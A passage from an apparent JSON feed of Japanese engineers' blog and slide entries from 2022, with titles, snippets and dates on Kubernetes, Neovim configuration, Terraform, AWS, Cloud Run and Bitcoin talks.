ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego で既存の秘密鍵を使って証明書を発行する","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行は","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"セキュア・バイ・デザインの鳴くところ","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","contentSnippet":"セキュア・バイ・デザインの鳴くところ\\r安全なソフトウェアを全体から考えるみるで候\\r\\rOWASP Fukuoka Meeting #9\\rhttps://owasp-kyushu.connpass.com/event/266585/\\r\\r副読ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"私のzshrcの推しポイント","link":"https://blog.atusy.net/2022/12/07/zshrc2022/","contentSnippet":"私のzshrcの推しポイントを簡単にまとめておくzshrcはGitHubで管理しているので、推しポイントへのリンクも適宜掲載しておくプロンプトhttps://github.com/atusy/dotfiles/blob/c654f90e8ec9ebbc18543d8f0349f7f8202f20c0/dot_zshrc#L20-L36","isoDate":"2022-12-07T00:00:00.000Z","dateMiliSeconds":1670371200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"社会に蔓延る労苦〈Toil〉をなくす(株式会社スリーシェイク入社エントリ)","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","link":"https://zenn.dev/toshikish/articles/70424038397d6d","contentSnippet":"Kubernetes クラスタで Prometheus を導入し,ServiceMonitor を作って監視対象を定義したところ,一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で,Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Osaka.Rで朝もくを続けて2年8ヶ月くらいになった","link":"https://blog.atusy.net/2022/12/04/osakar-asa-moku/","contentSnippet":"本記事は2022/12/04のR言語アドベントカレンダーの記事です。https://qiita.com/advent-calendar/2022/rlang12/03はyutannihilationさんによる「dplyr 1.1.0からはgroup_by()の代わりに.by引数が使えるらしいという話」でした。","isoDate":"2022-12-04T00:00:00.000Z","dateMiliSeconds":1670112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Codecov非対応の言語でもCodecovみたいなことをしたい時","link":"https://zenn.dev/kimitsu/articles/coverage-like-codecov","contentSnippet":"Codecov は、PR へのコメントや README のバッジのような方法でコードのカバレッジを可視化できるツールです。カバレッジを開発者に対して頻繁にフィードバックすることで、開発者はテストを意識するようになります。一方で世の中には星の数ほど言語がありますが Codecov がサポートしているものは意外と少ないです。https://docs.codecov.com/docs/supported-languagesまた色々な理由で Codecov を使いたくない / 使えないという場合もあるかと思います。この記事では Codecov 非対応の言語でも Codecov みたいな...","isoDate":"2022-11-29T13:38:06.000Z","dateMiliSeconds":1669729086000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は,基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで,リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで,その tfstate ファイル内の全リソースを取...","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"styler.nvimでアクティブなウィンドウか否かでカラースキームを変える","link":"https://blog.atusy.net/2022/11/25/styler-nvim-dim-inactive-windows/","contentSnippet":"本記事の改訂版が出ていますhttps://blog.atusy.net/2022/12/17/styler-nvim-active-win/先日はstyler.nvimを使ってバッファが作業ディレクトリに属すか否かで適用するカラースキームを変えました。styler.nvimを使うとバッファごとにcolorschemeを変えられて便利今回はウィンドウがアクティブか否かで適用するカラースキームを変えてみます。似た用途でtint.nvimを使うと、非アクティブなウィンドウのコントラストを抑えられます。しかし、styler.nvimと干渉するのと、コントラストを落としたせいで視認性に乏しくなるおそれがあります。styler.nvimだけ使えば干渉の心配はなくなりますし、人気なカラースキームを使えば低コントラストでも十分な視認性が期待できます。特にnightfox.nvimが提供する高コントラストなduskfoxと低コントラストなnordfoxは文字の色合いが似ていることもあり、相性がよく、今回試してみました。また、styler.nvimはウィンドウローカルなカラースキームを実現するもので、cmdlineやウィンドウ境界はターゲットとしていません。こういったその他の部分やfloatwinにはcatppuccinを採用してみました。--[[# Change colorschemes by active/inactive windowsThis is a simplified version, and may cause performance issue if so many windows are open.## Requirements:- nvim >= 0.8- plugins - folke/styler.nvim - catppuccin/nvim - EdenEast/nightfox.nvim]]-- settings-- ACTIVE_COLORSCHEME and INACTIVE_COLORSCHEME must be colorschemes using `nvim_set_hl`BASE_COLORSCHEME = \'catppuccin-mocha\'ACTIVE_COLORSCHEME = \'duskfox\'INACTIVE_COLORSCHEME = \'nordfox\'-- Apply colorschemevim.cmd(\\"colorscheme \\" .. BASE_COLORSCHEME)-- Create autocmd to apply styler.nvim on active/inactive windowsnvim.api.nvim_create_autocmd( { \'WinEnter\', \'BufEnter\' }, { group = nvim.api.nvim_create_augroup(\'theme-custom\', {}), callback = function(_) local set_theme = require(\'styler\').set_theme local win = nvim.api.nvim_get_current_win() -- use default colorscheme instead of applying styler.nvim on floatwin -- because some UIs are composed of multiple windows and they should share the theme if api.nvim_win_get_config(win).relative ~= \\"\\" then return end -- apply styler.nvim on active window set_theme(win, { colorscheme = ACTIVE_COLORSCHEME }) -- apply styler.nvim on inactive windows for _, w in pairs(api.nvim_tabpage_list_wins(0)) do if w ~= win then set_theme(w, { colorscheme = INACTIVE_COLORSCHEME }) end end end })ENJOY!!","isoDate":"2022-11-25T00:00:00.000Z","dateMiliSeconds":1669334400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"styler.nvimを使うとバッファごとにcolorschemeを変えられて便利","link":"https://blog.atusy.net/2022/11/23/styler-nvim/","contentSnippet":"This Week in Neovimという、週次でNeovim関係のニュースを届けてくれるウェブサイトの21 Nov 2022号で、プラグインのfolke/styler.nvimが紹介されていました。このプラグインの目的は、READMEにある通り、ファイルタイプごとのカラースキーム設定です。","isoDate":"2022-11-23T00:00:00.000Z","dateMiliSeconds":1669161600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","link":"https://zenn.dev/bells17/articles/docker-buildx","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに?リポジトリを見るとdock...","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"RPM の install, uninstall 時に実行される script の確認","link":"https://blog.1q77.com/2022/11/rpm-scripts/","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合,通常は OR で評価されます。例えば,以下の StringEquals 条件の例では,aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか?例えば以下のポリシーで aws:Principal...","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2022年10月のふりかえり、まとめ","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"telescope.nvimで作る簡易コマンドパレット(VSCodeのCtrl + Shift + Pっぽいの)","link":"https://blog.atusy.net/2022/11/03/telescope-as-command-pallete/","contentSnippet":"telescope.nvimはキーマップ、Exコマンド、ファイルなどを検索・活用するためのNeovim用プラグインです。この内、キーマップ(:Telescope keymaps)の主な用途は忘れてしまったマッピングの検索でしょう。実は、系のマッピングを実際のキー入力にアサインせずとも使えるので、滅多に使わない機能へ簡単にアクセスする方法として便利です。","isoDate":"2022-11-03T00:00:00.000Z","dateMiliSeconds":1667433600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"ビットコイン・ブロックチェーン概論","link":"https://speakerdeck.com/shukob/bitutokoinburotukutiengai-lun","contentSnippet":"Open Source Conference 2022 Online Fallの発表に使用した資料です。\\r↓セミナー情報\\rhttps://event.ospn.jp/osc2022-online-fall/session/685055\\r↓日本暗号通貨ユーザ会のページ\\rhttps://cryptocurrency.connpass.com/","isoDate":"2022-10-29T04:00:00.000Z","dateMiliSeconds":1667016000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile(CoreDNS の設定ファイル)で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: cor...","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Bitcoinナカモト論文補足資料","link":"https://speakerdeck.com/shukob/bitcoinnakamotolun-wen-bu-zu-zi-liao","contentSnippet":"https://cryptocurrency.connpass.com/event/262938/\\rビットコインとか勉強会#70《Bitcoinナカモト論文》【暗号通貨読書会#46】 の補足資料です。","isoDate":"2022-10-28T04:00:00.000Z","dateMiliSeconds":1666929600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Luaフィルタで表現力を手に入れろ","link":"https://blog.atusy.net/2022/10/22/lua-filter-for-r-users/","contentSnippet":"作例と共にLuaフィルタとLuaの文法について紹介。Tokyo.R 102の資料で主にRユーザーを対象としているが、Pandocユーザーにも参考になるはず。","isoDate":"2022-10-22T00:00:00.000Z","dateMiliSeconds":1666396800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"controller-runtime Deep Dive","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\\r\\rセッション動画はこちらです。\\rhttps://youtu.be/jCyt993dzaU\\r\\r以下スライドで紹介しているリンク:\\r\\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \\rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \\raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \\rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \\rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \\rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \\rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \\rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \\rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \\rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \\r\\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \\rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \\rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \\rmoco(MySQL Operator): https://github.com/cybozu-go/moco \\rlogging-operator: https://github.com/banzaicloud/logging-operator \\ristio(Service Mesh): https://github.com/istio/istio","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも,upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば,以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime clientについて","link":"https://zenn.dev/bells17/articles/controller-runtime-client","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"Software Design 2022年9月号にコードリーディングに関する記事を寄稿しました","link":"https://bells17.medium.com/oss-source-code-reading-29392edf80fe?source=rss-713cf42ce34d------2","isoDate":"2022-08-18T15:06:54.000Z","dateMiliSeconds":1660835214000,"authorName":"bells17","authorId":"bells17"},{"title":"Ethereum The Merge 〜これからのフルノード運用〜","link":"https://speakerdeck.com/shukob/ethereum-the-merge-korekarafalsehurufalsedoyun-yong","contentSnippet":"The MergeでEthereumのフルノード運用がどう変わるのか、廃止になるTestnetは何かなどをLTでお話ししました。\\rhttps://cryptocurrency.connpass.com/event/256526/","isoDate":"2022-08-14T04:00:00.000Z","dateMiliSeconds":1660449600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"felpパッケージでRのヘルプをあいまいに検索しよう","link":"https://blog.atusy.net/2022/08/13/felp-fuzzyhelp/","contentSnippet":"Rでヘルプを見ようにも記憶があいまいだったり、つづりがあやふやで調べようがない経験があるかもしれません。tidyverseに入ってるなんちゃらパッケージのミュータントみたいな関数、なんだっけ?geom_limeとかgeom_pintってライムもビールも欲しいけどそうやないんや!1そこで、あいまいな(fuzzy)キーワードでヘルプを検索するfuzzyhelp関数をfelpパッケージに追加しました。","isoDate":"2022-08-13T00:00:00.000Z","dateMiliSeconds":1660348800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"React.FCをやめる必要はない","link":"https://zenn.dev/kimitsu/articles/lets-use-react-fc","contentSnippet":"React や TypeScript に限らず、明示的に型をつけた方が良いという主張です。帰結として React.FC をやめる必要はないと思います。 なぜ明示的に型を付けた方が良いのか 理由 1: コードが少しだけ分かりづらくなる型推論をコンパイラに任せたコードは書くのが楽で見た目もスッキリします。一方で読み手の人間の負担は少しだけ増えます。ソースコードに書かれていない情報を読み取る必要が出るからです。最近のエディタ / IDE はマウスホバーで型情報を表示してくれますね。しかし例えば GitHub 上で PR を見ているときは違います。型を確認するにはコードの別...","isoDate":"2022-08-08T07:05:21.000Z","dateMiliSeconds":1659942321000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Vim/NeovimのCTRL_GをPrefixにしてみる","link":"https://blog.atusy.net/2022/08/08/ctrlg-as-prefix-vim/","contentSnippet":"CTRL_Gの機能はステータスラインで賄えるのでGit用のPrefixにしてみました","isoDate":"2022-08-08T00:00:00.000Z","dateMiliSeconds":1659916800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fuzzy Finderで捗るFernによるファイル操作","link":"https://blog.atusy.net/2022/08/05/fuzzyfern/","contentSnippet":"FernはVim/Neovim向けのファイラーで、外部依存がなくパフォーマンスも良好なので、好んで使っています。また、ファイラーらしく、ファイル操作などの機能を種々揃えており、「action」と呼んでいます。Fernの画面上でaを押すと、コマンドラインモードでアクションを指定でき、設定してあればタブ補完も効くようです。作者は、ユーザーがキーマッピングを覚えなくて良い点を魅力に挙げています。","isoDate":"2022-08-05T00:00:00.000Z","dateMiliSeconds":1659657600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SRETT#4黒い画面をもっと効率的に(使って自動化の時間を捻出)","link":"https://speakerdeck.com/masasuzu/srett-number-4hei-ihua-mian-womotutoxiao-lu-de-ni-shi-tutezi-dong-hua-falseshi-jian-wonian-chu","contentSnippet":"","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"cobra は便利になっている","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","contentSnippet":"2022年3-shake SRE Tech Talk #4\\rhttps://3-shake.connpass.com/event/253028/","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nvim-treehopperで捗るコードの折り畳み","link":"https://blog.atusy.net/2022/08/01/treehopper/","contentSnippet":"nvim-treehopperを使うと、ソースコードの抽象構文木に基づいた範囲選択が簡単にできます。関数定義全体を選択とか、if文の条件部分を選択とか、文脈に沿った範囲選択が捗るわけです。おそらく、定番の使い道は選択範囲の削除(d | D)やヤンク(y | Y)でしょう。加えてコードの折り畳み(zf)とも相性が良いとに気付きました。","isoDate":"2022-08-01T00:00:00.000Z","dateMiliSeconds":1659312000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"chowcho.nvimで任意の関数を、対話的に選択したwindowで実行","link":"https://blog.atusy.net/2022/07/31/chowcho-nvim-any-func/","contentSnippet":"chowcho.nvimを使うと、Neovimの各windowに番号が表示され、目的番号を入力すると、フォーカスを移動できます。https://github.com/tkmpypy/chowcho.nvim今回、この機能を一般化し、winidを受け取る任意の関数を実行できるようにしました。","isoDate":"2022-07-31T00:00:00.000Z","dateMiliSeconds":1659225600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ビットコイン・ライトニングネットワーク概論","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun","contentSnippet":"https://cryptocurrency.connpass.com/event/254173/\\rhttps://event.ospn.jp/osc2022-online-kyoto/session/618650\\r【OSC2022 Online Kyoto にて発表】\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。オフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。ビットコインの復習を少しした後、ライトニング・ネットワーク技術の概論をお話しいたしました。","isoDate":"2022-07-30T04:00:00.000Z","dateMiliSeconds":1659153600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Union typesに対してPickやOmitをしたい時","link":"https://zenn.dev/kimitsu/articles/48dc59129c5569","contentSnippet":"タイトルの通りです。普通(?)のオブジェクト型に対して一部のプロパティを取り出したり削除したりしたい時にはPickやOmitを使いますね。ただPickとOmitはUnion typesに対して分配的には効きません(後述)。そこでUnion typesに対して分配的にPickやOmitをする方法を考えていきます。実際に作ろうと思ったときと同じ手順で説明していくので、これからGeneric typesを書いていきたい方の参考にもなればと思います。 結論// 補助的な型type KeyOfUnion = T extends T ? keyof T : neve...","isoDate":"2022-07-18T12:58:36.000Z","dateMiliSeconds":1658149116000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"AWS SAP 合格体験記 2022/06","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS 